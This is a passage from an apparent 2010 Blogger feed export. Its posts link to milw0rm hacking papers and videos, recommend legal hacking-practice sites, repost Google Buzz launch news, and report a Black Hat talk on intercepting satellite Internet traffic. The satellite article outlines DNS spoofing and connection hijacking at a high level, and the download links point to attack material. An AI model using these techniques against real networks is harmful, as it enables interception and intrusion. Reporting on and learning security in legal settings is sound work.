learn how to do another type of attack, learn how to configure your hardware properly, etc, etc, etc. Take your time and explore the OS, if your new to linux, like i was when i started using backtrack, you'll have a lot to learn.&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=f85ec8d9-9c63-8931-94de-48f24368ab2e' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-6055661779951057766?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/6055661779951057766/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=6055661779951057766' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/6055661779951057766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/6055661779951057766'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/cracking-wifi-with-backtrack.html' title='Cracking Wifi with Back|Track'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-4928759861070622805</id><published>2010-02-10T11:01:00.001-08:00</published><updated>2010-02-10T11:01:20.610-08:00</updated><title type='text'>Milw0Rm Hacking Papers And Videos - Rapidshare Links!</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;strong class='bbc'&gt;This is an effort to make sure the contribution of milw0rm and contribution of str0ke to the hacking community is kept alive....though milw0rm.com is back online i thought,it would be nice to share all the information that is available on the site...if str0ke is down with health ..i wish him a speedy recovery...God bless str0ke and the hacking community!!!!!!!&lt;br/&gt;...greetz to str0ke....!!!!!!!!!!&lt;br/&gt;&lt;br/&gt;&lt;a rel='nofollow external' title='External link' class='bbc_url' href='http://rapidshare.com/files/308789411/milw0rm_papers_by_01hero.rar'&gt;http://rapidshare.co...s_by_01hero.rar&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;a rel='nofollow external' title='External link' class='bbc_url' href='http://rapidshare.com/files/309396927/milw0rm_videos1to31_by_01hero.rar'&gt;http://rapidshare.co...1_by_01hero.rar&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;a rel='nofollow external' title='External link' class='bbc_url' href='http://rapidshare.com/files/309271337/milw0rm_videos31to51_by_01hero.rar'&gt;http://rapidshare.co...1_by_01hero.rar&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;a rel='nofollow external' title='External link' class='bbc_url' href='http://rapidshare.com/files/309181945/milw0rm_videos52to79_by_01hero.rar'&gt;http://rapidshare.co...9_by_01hero.rar&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;a rel='nofollow external' title='External link' class='bbc_url' href='http://rapidshare.com/files/308877563/milw0rm_videos80to_100by_01hero.rar'&gt;http://rapidshare.co...00by_01hero.rar&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;a rel='nofollow external' title='External link' class='bbc_url' href='http://rapidshare.com/files/309515937/milw0rm_videos101to104_by_01hero.rar'&gt;http://rapidshare.co...4_by_01hero.rar&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;a rel='nofollow external' title='External link' class='bbc_url' href='http://rapidshare.com/files/309516982/01hero.nfo'&gt;http://rapidshare.co...6982/01hero.nfo&lt;/a&gt;&lt;/strong&gt;   						 						&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=6da93803-4528-8637-841e-7af023f25fa7' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-4928759861070622805?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/4928759861070622805/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=4928759861070622805' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4928759861070622805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4928759861070622805'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/milw0rm-hacking-papers-and-videos.html' title='Milw0Rm Hacking Papers And Videos - Rapidshare Links!'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-840312520278912163</id><published>2010-02-10T10:58:00.001-08:00</published><updated>2010-02-10T10:58:35.514-08:00</updated><title type='text'>GOOGLE BUZZZZZZZZZZZZ</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;span style='border-collapse: separate; color: rgb(0, 0, 0); font-family: &amp;apos;Times New Roman&amp;apos;; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; font-size: medium;' class='Apple-style-span'&gt;&lt;span style='color: rgb(51, 51, 51); font-family: &amp;apos;Helvetica Neue&amp;apos;,Arial,sans-serif; font-size: 13px; line-height: 18px;' class='Apple-style-span'&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;t’s official:&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;span class='blippr-nobr'&gt;Google&lt;span class='blippr-nobr'&gt;&lt;a style='color: rgb(34, 102, 187); text-decoration: none;' class='blippr-inline-smiley blippr-inline-smiley-07' rel='http://www.blippr.com/apps/336661-Google.whtml' target='_blank' href='http://www.blippr.com/apps/336661-Google'&gt;&lt;span&gt;Google&lt;/span&gt;&lt;img width='14' height='14' style='border-width: 0px;' alt='Google' src='http://netdna.blippr.com/images/inline-face_07.png?1260002206' class='wp-smiley'/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;has just announced Google Buzz, its newest push into the social media foray. This confirms earlier reports of&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;a style='color: rgb(34, 102, 187); text-decoration: none;' href='http://mashable.com/2010/02/08/gmail-social/'&gt;Gmail integrating a social status feature&lt;/a&gt;.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;On stage revealing the new product was Bradley Horowitz, Google’s vice president for product management. While introducing the product, Mr. Horowitz focused on the human penchant for sharing experiences and the social media phenomenon of wanting to share it in real time. These two key themes were core philosophies behind Google Buzz.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;“It’s becoming harder and harder to find signal in the noise,” Bradley stated before introducing the product manager for Google Buzz, Todd Jackson.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;Here are the details:&lt;/p&gt;&lt;hr style='border-style: none none solid; border-bottom: 1px solid rgb(221, 221, 221);'/&gt;&lt;h2 style='margin: 0px; padding: 0px; font-size: 20px; font-weight: bold; line-height: 1.2em; font-family: Georgia,serif;'&gt;Google Buzz: The Details&lt;/h2&gt;&lt;hr style='border-style: none none solid; border-bottom: 1px solid rgb(221, 221, 221);'/&gt;&lt;center&gt;&lt;br/&gt;&lt;img style='border-width: 0px;' src='http://cdn.mashable.com/wp-content/uploads/2010/02/buzz4.jpg'/&gt;&lt;/center&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Mr. Jackson introduced “a new way to communicate within&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;span class='blippr-nobr'&gt;Gmail&lt;span class='blippr-nobr'&gt;&lt;a style='color: rgb(34, 102, 187); text-decoration: none;' class='blippr-inline-smiley blippr-inline-smiley-07' rel='http://www.blippr.com/apps/336653-Gmail.whtml' target='_blank' href='http://www.blippr.com/apps/336653-Gmail'&gt;&lt;span&gt;Gmail&lt;/span&gt;&lt;img width='14' height='14' style='border-width: 0px;' alt='Gmail' src='http://netdna.blippr.com/images/inline-face_07.png?1260002206' class='wp-smiley'/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;.” It’s “an entire new world within Gmail.” Then he introduced the five key features that define Google Buzz:&lt;/p&gt;&lt;blockquote style='margin: 0px 0px 0px 20px; padding: 0px;'&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Key feature #1: Auto-following&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Key feature #2: Rich, fast sharing experience&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Key feature #3: Public and private sharing&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Key feature #4: Inbox integration&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Key feature #5: Just the good stuff&lt;/p&gt;&lt;/blockquote&gt;&lt;center&gt;&lt;br/&gt;&lt;img style='border-width: 0px;' src='http://cdn.mashable.com/wp-content/uploads/2010/02/buzz3.jpg'/&gt;&lt;/center&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Google then began the demo. Once you log into Gmail, you’ll be greeted wiht a splash page introducing Google Buzz.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- There is a tab right under the inbox, labeled “Buzz”&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- It provides links to websites, content from around the web.&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;span class='blippr-nobr'&gt;Picasa&lt;span class='blippr-nobr'&gt;&lt;a style='color: rgb(34, 102, 187); text-decoration: none;' class='blippr-inline-smiley blippr-inline-smiley-05' rel='http://www.blippr.com/apps/507846-Picasa.whtml' target='_blank' href='http://www.blippr.com/apps/507846-Picasa'&gt;&lt;span&gt;Picasa&lt;/span&gt;&lt;img width='14' height='14' style='border-width: 0px;' alt='Picasa' src='http://netdna.blippr.com/images/inline-face_05.png?1260002206' class='wp-smiley'/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;,&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;a style='color: rgb(34, 102, 187); text-decoration: none;' href='http://mashable.com/social-media/twitter'&gt;Twitter&lt;/a&gt;&lt;span class='blippr-nobr'&gt;&lt;a style='color: rgb(34, 102, 187); text-decoration: none;' class='blippr-inline-smiley blippr-inline-smiley-07' rel='http://www.blippr.com/apps/336651-Twitter.whtml' target='_blank' href='http://www.blippr.com/apps/336651-Twitter'&gt;&lt;span&gt;Twitter&lt;/span&gt;&lt;img width='14' height='14' style='border-width: 0px;' alt='Twitter' src='http://netdna.blippr.com/images/inline-face_07.png?1260002206' class='wp-smiley'/&gt;&lt;/a&gt;&lt;/span&gt;,&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;span class='blippr-nobr'&gt;Flickr&lt;span class='blippr-nobr'&gt;&lt;a style='color: rgb(34, 102, 187); text-decoration: none;' class='blippr-inline-smiley blippr-inline-smiley-05' rel='http://www.blippr.com/apps/336659-Flickr.whtml' target='_blank' href='http://www.blippr.com/apps/336659-Flickr'&gt;&lt;span&gt;Flickr&lt;/span&gt;&lt;img width='14' height='14' style='border-width: 0px;' alt='Flickr' src='http://netdna.blippr.com/images/inline-face_05.png?1260002206' class='wp-smiley'/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;and other sites are aggregated.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- It shows thumbnails when linked to photos from sites like Picasa and Flickr. Clicking on an image will blow up the images to almost the entire browser, making them easier to see.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- It uses the same keyboard shortcuts as Gmail. This makes sense. Hitting “R” allows you to comment/reply to a buzz post, for example.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- There are public and private settings for different posts. You can post updates to specific contact groups. This is a lot like&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;a style='color: rgb(34, 102, 187); text-decoration: none;' href='http://mashable.com/social-media/facebook'&gt;Facebook&lt;/a&gt;&lt;span class='blippr-nobr'&gt;&lt;a style='color: rgb(34, 102, 187); text-decoration: none;' class='blippr-inline-smiley blippr-inline-smiley-05' rel='http://www.blippr.com/apps/336650-Facebook.whtml' target='_blank' href='http://www.blippr.com/apps/336650-Facebook'&gt;&lt;span&gt;Facebook&lt;/span&gt;&lt;img width='14' height='14' style='border-width: 0px;' alt='Facebook' src='http://netdna.blippr.com/images/inline-face_05.png?1260002206' class='wp-smiley'/&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;friend lists.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Google wants to make sure you don’t miss comments, so it has a system to send you an e-mail letting you know about updates. However, the e-mail will actually show you the Buzz you’ve created and all of the comments and images associated with it.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;&lt;strong&gt;- Comments update in real time.&lt;/strong&gt;&lt;/p&gt;&lt;center&gt;&lt;br/&gt;&lt;img style='border-width: 0px;' src='http://mashable.com/wp-content/uploads/2010/02/buzz4.jpg'/&gt;&lt;/center&gt;&lt;br/&gt;- @replies are supported, just like Twitter. If you @reply someone, it will send a buzz toward an individual’s inbox.&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Google Buzz has a “recommended” feature that will show buzzes from people you don’t follow if your friends are sharing or commenting on that person’s buzz. You can remove it or change this in settings.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Google is now speaking about using algorithms to help filter conversations, as well as mobile devices related to Buzz.&lt;/p&gt;&lt;hr style='border-style: none none solid; border-bottom: 1px solid rgb(221, 221, 221);'/&gt;&lt;h2 style='margin: 0px; padding: 0px; font-size: 20px; font-weight: bold; line-height: 1.2em; font-family: Georgia,serif;'&gt;The Mobile Aspect&lt;/h2&gt;&lt;hr style='border-style: none none solid; border-bottom: 1px solid rgb(221, 221, 221);'/&gt;&lt;center&gt;&lt;br/&gt;&lt;img style='border-width: 0px;' src='http://cdn.mashable.com/wp-content/uploads/2010/02/buzz10.jpg'/&gt;&lt;/center&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Google buzz will be accessible via mobile in three ways: from Google Mobile’s website, from Buzz.Google.com (iPhone and&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;span class='blippr-nobr'&gt;Android&lt;span class='blippr-nobr'&gt;&lt;a style='color: rgb(34, 102, 187); text-decoration: none;' class='blippr-inline-smiley blippr-inline-smiley-07' rel='http://www.blippr.com/apps/336868-Android.whtml' target='_blank' href='http://www.blippr.com/apps/336868-Android'&gt;&lt;span&gt;Android&lt;/span&gt;&lt;img width='14' height='14' style='border-width: 0px;' alt='Android' src='http://netdna.blippr.com/images/inline-face_07.png?1260002206' class='wp-smiley'/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;), and from Google Mobile Maps.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Buzz knows wher you are. It will figure out what building you are and ask you if it’s right.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Buzz has voice recognition and posts it right onto your buzz in real-time. It also geotags your buzz posts.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Place pages integrate Buzz.&lt;/p&gt;&lt;center&gt;&lt;br/&gt;&lt;img style='border-width: 0px;' src='http://cdn.mashable.com/wp-content/uploads/2010/02/buzz13.jpg'/&gt;&lt;/center&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- In the mobile interface, you can click “nearby” and see what people are saying nearby. NIFTY, if I say so myself.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- You can layer&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;span class='blippr-nobr'&gt;Google Maps&lt;span class='blippr-nobr'&gt;&lt;a style='color: rgb(34, 102, 187); text-decoration: none;' class='blippr-inline-smiley blippr-inline-smiley-07' rel='http://www.blippr.com/apps/337264-Google-Maps.whtml' target='_blank' href='http://www.blippr.com/apps/337264-Google-Maps'&gt;&lt;span&gt;Google Maps&lt;/span&gt;&lt;img width='14' height='14' style='border-width: 0px;' alt='Google Maps' src='http://netdna.blippr.com/images/inline-face_07.png?1260002206' class='wp-smiley'/&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;with Buzz. You can also associate pictures with buzz within Google Maps.&lt;/p&gt;&lt;p style='margin: 0px 0px 1em; padding: 0px; line-height: 1.5em;'&gt;- Conversation bubbles will appear on your Google Maps. They are geotagged buzz posts, which lets you see what people are saying nearby.&lt;/p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=4433fa15-523d-8ece-b726-fa946fdab119' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-840312520278912163?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/840312520278912163/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=840312520278912163' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/840312520278912163'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/840312520278912163'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/google-buzzzzzzzzzzzz.html' title='GOOGLE BUZZZZZZZZZZZZ'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-2049062205402911999</id><published>2010-02-10T10:49:00.001-08:00</published><updated>2010-02-10T10:49:40.586-08:00</updated><title type='text'>Learning How To Hack</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p&gt;This article is written for people who want to learn how to hack but don’t know where to start. In generell it takes a lot of time and knowledge to become a good hacker. For this reason I’m going to show you how you can speed up the process of becoming a hacker by providing you with different legal training grounds for hackers as a starting point.&lt;/p&gt; &lt;p&gt;There are several good web sites where you can learn to hack. These will provide you with a wealth of information on computer security and give you hands-on experience since hacking, as with everything, is really about experience.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Where can I learn about hacking?!&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;a href='http://www.hackthissite.org/'&gt;Hackthissite&lt;/a&gt; is a great web site to get started with. But before you can take a look at the missions, you need to register. After having registered try out the different challenges. If you are having difficulties with the missions visit the &lt;a href='http://www.criticalsecurity.net/'&gt;forum&lt;/a&gt; or HTS’ irc channel, both were created to help beginners. Otherwise post your problems here and I’ll try to help you out.&lt;/p&gt; &lt;p&gt;Another great web site is &lt;a href='http://www.hellboundhackers.org/'&gt;Hellboundhackers&lt;/a&gt;. It also requires you to register but offers a lot more challenges. It has a forum in which you can post questions about the missions, if you are having trouble. HBH has also several articles about computer security which you might find interesting.&lt;/p&gt; &lt;p&gt;To sum it up, &lt;a href='http://www.hackthissite.org/'&gt;Hackthissite&lt;/a&gt; and &lt;a href='http://www.hellboundhackers.org/'&gt;Hellboundhackers&lt;/a&gt; are both good sites where you can learn about hacking, even though HTS is probably the better one for beginners. I find that HBH’s challenges are often quite frustrating because there is usually only one way of solving it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is good that you are eager to learn more because that is how you actually become a good hacker. As it says on &lt;a href='http://www.darknet.org.uk/'&gt;Darknet&lt;/a&gt; “Don’t learn to hack – hack to learn”, that is the key to becoming a hacker.&lt;br/&gt;&lt;strong&gt;Read books&lt;/strong&gt;&lt;br/&gt;Since you are serious about becoming a hacker is suggest you read a lot of books, it is essential. If your budget is tight consider going on free ebook sites like &lt;a href='http://www.wowio.com/'&gt;Wowio&lt;/a&gt;. You should also be able to find a whole lot of articles on the security sites mentioned below.&lt;br/&gt;&lt;strong&gt;Read news&lt;/strong&gt;&lt;br/&gt;Read news on computer security since you need to be up to date. Here are some useful sites:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;a href='http://www.securityfocus.com/'&gt;SecurityFocus&lt;/a&gt; security site with an exploit archive&lt;/li&gt;&lt;li&gt; &lt;a href='http://www.darknet.org.uk/'&gt;Darknet&lt;/a&gt; great computer security news site&lt;/li&gt;&lt;li&gt;&lt;a href='http://www.packetstormsecurity.org/'&gt;PacketStorm&lt;/a&gt; news site with a huge collection of security papers&lt;/li&gt;&lt;li&gt;&lt;a href='http://astalavista.com/'&gt;Astalavista&lt;/a&gt; security news site&lt;/li&gt;&lt;li&gt;&lt;a href='http://irongeek.com/'&gt;Irongeek&lt;/a&gt; site containing lots of videos about computer security&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;&lt;strong&gt;Legal training grounds for hacker&lt;/strong&gt;&lt;br/&gt;To complete the list from the &lt;a href='http://knubbl.wordpress.com/2008/05/11/learning-how-to-hack/'&gt;first part&lt;/a&gt; I provided some additional training sites which might help you.&lt;br/&gt;One of them is &lt;a href='http://www.scifi.pages.at/hackits/'&gt;Starfleet Academy&lt;/a&gt; which was made to improve your knowledge on internet security. There are 16 levels all of which are ,more or less, basic web challenges. One important thing to note is that you can not jump to higher levels, you have to complete the levels one by one.&lt;br/&gt;Another training ground for hacker is &lt;a href='http://www.hackerslab.org/eorg/'&gt;Hackerslab&lt;/a&gt; where you need to register before being able to complete the missions.&lt;/p&gt; These two are very helpful site but if you really want to learn hacking I suggest you go to the sites which I provided in the &lt;a href='http://knubbl.wordpress.com/2008/05/11/learning-how-to-hack/'&gt;first part&lt;/a&gt; since these are hacker communities where people will also be happy to help you out if you are having problems. &lt;p&gt;&lt;br/&gt;&lt;/p&gt; &lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=04effb2f-0f65-836f-8079-fc2583cb8d0f' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-2049062205402911999?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/2049062205402911999/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=2049062205402911999' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/2049062205402911999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/2049062205402911999'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/learning-how-to-hack.html' title='Learning How To Hack'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-252417425402645064</id><published>2010-02-10T10:35:00.000-08:00</published><updated>2010-02-10T10:35:14.565-08:00</updated><title type='text'>http://dmiessler.com...g/infoseccerts/</title><content type='html'>A good article for the guys who are interested in pursuing security certifications&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dmiessler.com/writing/infoseccerts/"&gt;http://dmiessler.com...g/infoseccerts/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-252417425402645064?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://dmiessler.com/writing/infoseccerts/' title='http://dmiessler.com...g/infoseccerts/'/><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/252417425402645064/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=252417425402645064' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/252417425402645064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/252417425402645064'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/httpdmiesslercomginfoseccerts.html' title='http://dmiessler.com...g/infoseccerts/'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-7531944381948966788</id><published>2010-02-10T10:31:00.001-08:00</published><updated>2010-02-10T10:31:42.747-08:00</updated><title type='text'>How To Hack The Sky</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;ARLINGTON, Va. -- Satellites can bring a digital signal to places where the Internet seems like a miracle: off-the-grid desert solar farms, the Arctic or an aircraft carrier at sea. But in beaming data to and from the world's most remote places, satellite Internet may also offer its signal to a less benign recipient: any digital miscreant within thousands of miles. &lt;/p&gt;In a presentation at the Black Hat security conference in Arlington, Va., Tuesday, Spanish cybersecurity researcher Leonardo Nve presented a variety of tricks for gaining access to and exploiting satellite Internet connections. Using less than $75 in tools, Nve, a researcher with security firm S21Sec, says that he can intercept Digital Video Broadcast (DVB) signals to get free high-speed Internet. And while that's not a particularly new trick--hackers have long been able to intercept satellite TV or other sky-borne signals--Nve also went a step further, describing how he was able to use satellite signals to anonymize his Internet connection, gain access to private networks and even intercept satellite Internet users' requests for Web pages and replace them with spoofed sites. &lt;p&gt;"What's interesting about this is that it's very, very easy," says Nve. "Anyone can do it: phishers or Chinese hackers … it's like a very big Wi-Fi network that's easy to access."&lt;/p&gt;&lt;p&gt;In a penetration test on a client's network, Nve used a Skystar 2 PCI satellite receiver card, a piece of hardware that can be bought on &lt;span class='tickerlinx'&gt;&lt;a href='http://finapps.forbes.com/finapps/jsp/finance/compinfo/CIAtAGlance.jsp?tkr=EBAY'&gt;&lt;b&gt;eBay&lt;/b&gt;&lt;/a&gt;&lt;/span&gt; 	(      &lt;a href='http://finapps.forbes.com/finapps/jsp/finance/compinfo/CIAtAGlance.jsp?tkr=EBAY'&gt;EBAY&lt;/a&gt; - 	&lt;a href='http://search.forbes.com/search/CompanyNewsSearch?ticker=EBAY'&gt;       news    &lt;/a&gt; -    &lt;a href='http://people.forbes.com/search?ticker=EBAY'&gt;       people    &lt;/a&gt;) for $30 or less, along with open source Linux DVB software applications and the network data analysis or "sniffing" tool Wireshark. &lt;/p&gt;&lt;p&gt;Exploiting that signal, Nve says he was able to impersonate any user connecting to the Internet via satellite, effectively creating a high-speed, untraceable anonymous Internet connection that that can be used for nefarious online activities. &lt;/p&gt;Nve also reversed the trick, impersonating Web sites that a satellite user is attempting to visit by intercepting a Domain Name System (DNS) request--a request for an Internet service provider (ISP) to convert a spelled out Web site name into the numerical IP address where it's stored--and sending back an answer faster than the ISP. That allows him to replace a Web site that a user navigates to directly with a site of his choosing, creating the potential for undetectable cybercrime sites that steal passwords or installs malicious software.&lt;p&gt;In his tests on the client's network, Nve says he was also able to hijack signals using GRE or TCP protocols that enterprises use to communicate between PCs and servers or between offices, using the connections to gain access to a corporation or government agency's local area network.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Barcelona-based researcher tested his methods on geosynchronous satellites aimed at Europe, Africa and South America. But he says there's little doubt that the same tricks would work on satellites facing North America or anywhere 